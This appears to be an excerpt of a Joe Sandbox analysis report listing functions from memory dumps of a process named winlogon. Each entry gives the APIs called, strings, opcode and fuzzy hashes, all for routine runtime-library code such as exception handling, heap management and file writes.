__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000225DC61A288

Strings

csm, xrefs: 00000225DC61A1C2
csm, xrefs: 00000225DC61A2DA

Memory Dump Source

Source File: 00000014.00000002.3139211755.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc610000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 4352b4e7d2f757b2eeab07a41cb79b5cce5006a568909e68af21b5ba570d396d
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 9B51C23A105BA0EAEF748F99944835877A0F355B97F28C215EB89C7BD6CB38C451C700

Function 00000225DC67A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC67A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000225DC67A288

Strings

csm, xrefs: 00000225DC67A2DA
csm, xrefs: 00000225DC67A1C2

Memory Dump Source

Source File: 00000014.00000002.3140545005.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc670000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: d8bc5406c68cbc3a3f3e81927d6ca097891e5497fb3224580501911da265d3db
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 7D51E83A104BA0DAEB748FA9944835C77A0F355B96F28E615FB5987FD6CB38D490CB00

Function 00000225DC64AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC64ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000225DC64AE88

Strings

csm, xrefs: 00000225DC64ADC2
csm, xrefs: 00000225DC64AEDA

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: e2a4ec1541559836ceca0d34c116ae26037d4692d9dd8773577d8c71d6944edc
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 9C51C37A10CBA0FAEB748F9A948835977A0F354B86F24C159FA5A47BD7CB38C451C700

Function 00000225DC618405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC618413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC6184A8

Strings

csm, xrefs: 00000225DC61848E
f, xrefs: 00000225DC618426

Memory Dump Source

Source File: 00000014.00000002.3139211755.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc610000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 8a2ee0853dea6fc810b70285cdad8afa924fb268fca63da5ab5c18953c58d14e
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 9F51BF3A712A20AAEF94CF99E448B1937A5F358B9FF52C224DE0647788EB34CC41C704

Function 00000225DC678405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC678413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC6784A8

Strings

f, xrefs: 00000225DC678426
csm, xrefs: 00000225DC67848E

Memory Dump Source

Source File: 00000014.00000002.3140545005.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 8bc61f57c5687e7a86239f1075434ff38e81a80eea30d95d659fdd3eaf197c62
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: DD51BF3A711A20AAFB94CF69E448B193795F758B9FF51CA24DA0663BC8EB74CC41C704

Function 00000225DC6183E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC618413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC6184A8

Strings

csm, xrefs: 00000225DC61848E
f, xrefs: 00000225DC618426

Memory Dump Source

Source File: 00000014.00000002.3139211755.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc610000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: a13f22b0c5ddbfd73ffef1e451b0b481ee6602808d75d20c911345d57e3c4186
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: A731C03A602B60A6EB64DF5AE84871977A4F748BDFF16C214EE5B47784DB38C940C704

Function 00000225DC6783E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC678413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC6784A8

Strings

f, xrefs: 00000225DC678426
csm, xrefs: 00000225DC67848E

Memory Dump Source

Source File: 00000014.00000002.3140545005.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 7ede24912a818c19e80a806750f1858c6928fd0ae1f237999a321a790690d3dd
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: F731BF3A211B60E6EB54DF69E8487193BA4F748B9AF15CA14EE5A13BC8DB38CD40C704

Function 00000225DC6B2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000225DC6B20D7
WriteFile.KERNEL32 ref: 00000225DC6B239F
WriteFile.KERNEL32 ref: 00000225DC6B23E5
GetLastError.KERNEL32 ref: 00000225DC6B249B

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 01741f095c584cdd00ba98e3aa790e67a4177efe8c0c1c6c5439ed656a32a405
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: F2D1FF76B14E90A9E712CFA9D44839C7BF2F75479AF108216CF6E97B99DA34C406C340

Function 00000225DC652058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000225DC6520D7
WriteFile.KERNEL32 ref: 00000225DC65239F
WriteFile.KERNEL32 ref: 00000225DC6523E5
GetLastError.KERNEL32 ref: 00000225DC65249B

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: bfa2cf39ed762a0c864f02a182d0b99d9a486c982741babc9b475573dd9f7606
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: F7D1F376724E90A9E712CFB9D44839C3BB1F754799F248216CF5E97B99DA34C406C340

Function 00000225DC6414A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6414C5
HeapFree.KERNEL32 ref: 00000225DC6414D4
GetProcessHeap.KERNEL32 ref: 00000225DC6414E1
HeapFree.KERNEL32 ref: 00000225DC6414F0
GetProcessHeap.KERNEL32 ref: 00000225DC641500

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction ID: 6bfd24914fe268a9eaf32d670607eda920269b08af1813506c338134dac0ed3e
Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction Fuzzy Hash: E2115E7A524FA0E6E724DFEEA80816977A0FB89F86F148025DB4A53726DE34C451C740

Function 00000225DC6B2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000225DC6B2A9C
GetLastError.KERNEL32 ref: 00000225DC6B2B27

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 0effa0560eecda1315c6bac3784fbf95153408d93820f0ff7fe2030bc37eebda
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: F991D37A710E70A5FB62DFAD94883AD3BE2B704B8BF148109DE1A57A95DF34C486C700

Function 00000225DC652980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000225DC652A9C
GetLastError.KERNEL32 ref: 00000225DC652B27

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 6d7b5b403a3188d3b4841f9fb94707250acf1a7d2d8579f267c512fad794f412
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 7391D67AB20E70A5F766DFAD94883AD3BA0F754B8AF24C109DE0A57795DB34C486C700

Function 00000225DC6A7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000225DC6A798C
GetCurrentThreadId.KERNEL32 ref: 00000225DC6A799A
GetCurrentProcessId.KERNEL32 ref: 00000225DC6A79A6
QueryPerformanceCounter.KERNEL32 ref: 00000225DC6A79B6

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 6c068aa945f0ac6dafb2ede45e1116f91dfe096492dd73cd30e6c0fcb5e07c68
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: A7111226710F1599EF00CFA8E8593A833A4F75975EF441E25DB6D867A4DF78C1A8C380

Function 00000225DC6A253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6A2620
StrCpyW.SHLWAPI ref: 00000225DC6A2639

Strings

\\.\pipe\, xrefs: 00000225DC6A262B

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 5f5e41b068d0f293cc7ef7899fb07c4c471cec35d55f3e32321b6d3ba8d92876
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 0971FB3A280FA166D726DFADD8483AA6794F385B86F648025DD0ED3B89DE35C645C700

Function 00000225DC64253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC642620
StrCpyW.SHLWAPI ref: 00000225DC642639

Strings

\\.\pipe\, xrefs: 00000225DC64262B

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 898a99a824d3708835f2c6571b9ade3bad5d2cda467ec0446c5c9970c4b06ed6
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 6471F63A20CFA166E7269FED98483EA7794F389B86F648066DD0B53B89DE35C541C700

Function 00000225DC619E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000225DC619EB7

Strings

MOC, xrefs: 00000225DC619E7C
RCC, xrefs: 00000225DC619E85

Memory Dump Source

Source File: 00000014.00000002.3139211755.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc610000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 1c103488b81b5755e9a858689f9c8f9220dbcbf2f2fcf3c8ea21b2028d61d58d
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: C5619D3B602F549AEB20CFA9D44439D7BA0F748B8EF148215EF4917B99DB38D156C700

Function 00000225DC679E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000225DC679EB7

Strings

RCC, xrefs: 00000225DC679E85
MOC, xrefs: 00000225DC679E7C

Memory Dump Source

Source File: 00000014.00000002.3140545005.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc670000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 9fd3008523d1d31d7ee32bda0e514125121f93270c61e4c83d0e3fe2aa1cbd72
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 4B61AB3B600F949AEB20DFA9D44439D77A0F748B8DF148A15EF4917B99DB38D496C700

Function 00000225DC6A2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6A2416
StrCpyW.SHLWAPI ref: 00000225DC6A242D

Strings

\\.\pipe\, xrefs: 00000225DC6A2421

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: a83db0d25de40b44f666c5a5d64bcfc4ffcb5cd7079b315c16954b0aa5d8d6a1
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 0F516B3A284FA1A5F63ADFADE09C3BAA751F785B41F648125CE4D83B49CE39C544C740

Function 00000225DC642330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC642416
StrCpyW.SHLWAPI ref: 00000225DC64242D

Strings

\\.\pipe\, xrefs: 00000225DC642421

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 46897ffc2cc2630562e995aa3ab88a20c60a5fe9943d3a7bd5f75d2a5dc7dda7
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 8051273A60CFA1A1E6799FEDE05C37A7B51F784B41F648165CE4B03B49CA39C544C740

Function 00000225DC6B26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000225DC6B2807
GetLastError.KERNEL32 ref: 00000225DC6B2829

Strings

U, xrefs: 00000225DC6B27B3

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 2b7cbdf29e740ea36268c330b496c3bcbbcaca586992bcfa57e7be5236719281
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: F0412A76314F90A2EB21DFA9E8483A977A1F398796F508021EE4D87794EF3CC445C740

Function 00000225DC6526F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000225DC652807
GetLastError.KERNEL32 ref: 00000225DC652829

Strings

U, xrefs: 00000225DC6527B3

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: ff598f2dff618ae855125180d135eff0feb50115b417593be16094bb43c2f728
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: BC41C476325E90A6DB21CFA9E8483AE77A0F798795F508021EE4E87794EB7CC445C740

Function 00000225DC6A94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000225DC6A94F0
RaiseException.KERNEL32 ref: 00000225DC6A9531

Strings

csm, xrefs: 00000225DC6A951E

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: c91e1e86bab824f286d7942031cacff95a827eda15b7eec0a60a9f277f66f1ea
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 54112B3A218F9092EB65CB59E44435977E5FB88B99F688220EF8C47768DF3CC552CB00

Function 00000225DC6494A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000225DC6494F0
RaiseException.KERNEL32 ref: 00000225DC649531

Strings

csm, xrefs: 00000225DC64951E

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 8e6f9ddc8bd4a0050d82363797f3a651ef4e3f91162d625b6a7f86f7e5c4113b
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: CF115B36218F9092EB608B59E40435977E4FB88B99F288260EF8D47B68DF3CC552CB00

Function 00000225DC617356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000225DC61737C

Strings

ierarchy Descriptor', xrefs: 00000225DC617381
riptor at (, xrefs: 00000225DC617364

Memory Dump Source

Source File: 00000014.00000002.3139211755.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc610000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 40d697394cd767119a46280874914b4daa5d8e9346db535fcc515f98333aa0ca
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 7EE08661A41F84A0DF118F66E8442D873A0DB58B69B48D122995C46311FA38D1E9C300

Function 00000225DC677356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000225DC67737C

Strings

ierarchy Descriptor', xrefs: 00000225DC677381
riptor at (, xrefs: 00000225DC677364

Memory Dump Source

Source File: 00000014.00000002.3140545005.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc670000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 3bdf3a98a46eddaab18917913d4673d13906e839a3b4fd0dcf7fe39589f613a6
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: B2E08661640F84A0EF018F65E8442D833A0DB5CB65B49D122995C06351FA38D1E9C301

Function 00000225DC6173B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000225DC6173D8

Strings

Locator', xrefs: 00000225DC6173DD
riptor at (, xrefs: 00000225DC6173C0

Memory Dump Source

Source File: 00000014.00000002.3139211755.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc610000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 33387b3a89b0f7cf97b4c9f63ea1e6ce0b438a2dcf969175634c70bf0c094b31
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: F9E0CD61A01F44D0DF118F65D4441D87360E75CB69F88D222CD4C47311FB38D1E5C300

Function 00000225DC6773B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000225DC6773D8

Strings

riptor at (, xrefs: 00000225DC6773C0
Locator', xrefs: 00000225DC6773DD

Memory Dump Source

Source File: 00000014.00000002.3140545005.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc670000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 5795fbfa8a47514ff8c6ddda118d1662a7868f1be9d24305db9b02968eedc405
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 28E08661640F8490EF018F65D4401987360EB5CB55B88D122C95C06351FA38D1E5C301

Function 00000225DC6A1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6A1C2D
HeapAlloc.KERNEL32 ref: 00000225DC6A1C3B
GetProcessHeap.KERNEL32 ref: 00000225DC6A1C77
HeapFree.KERNEL32 ref: 00000225DC6A1C85

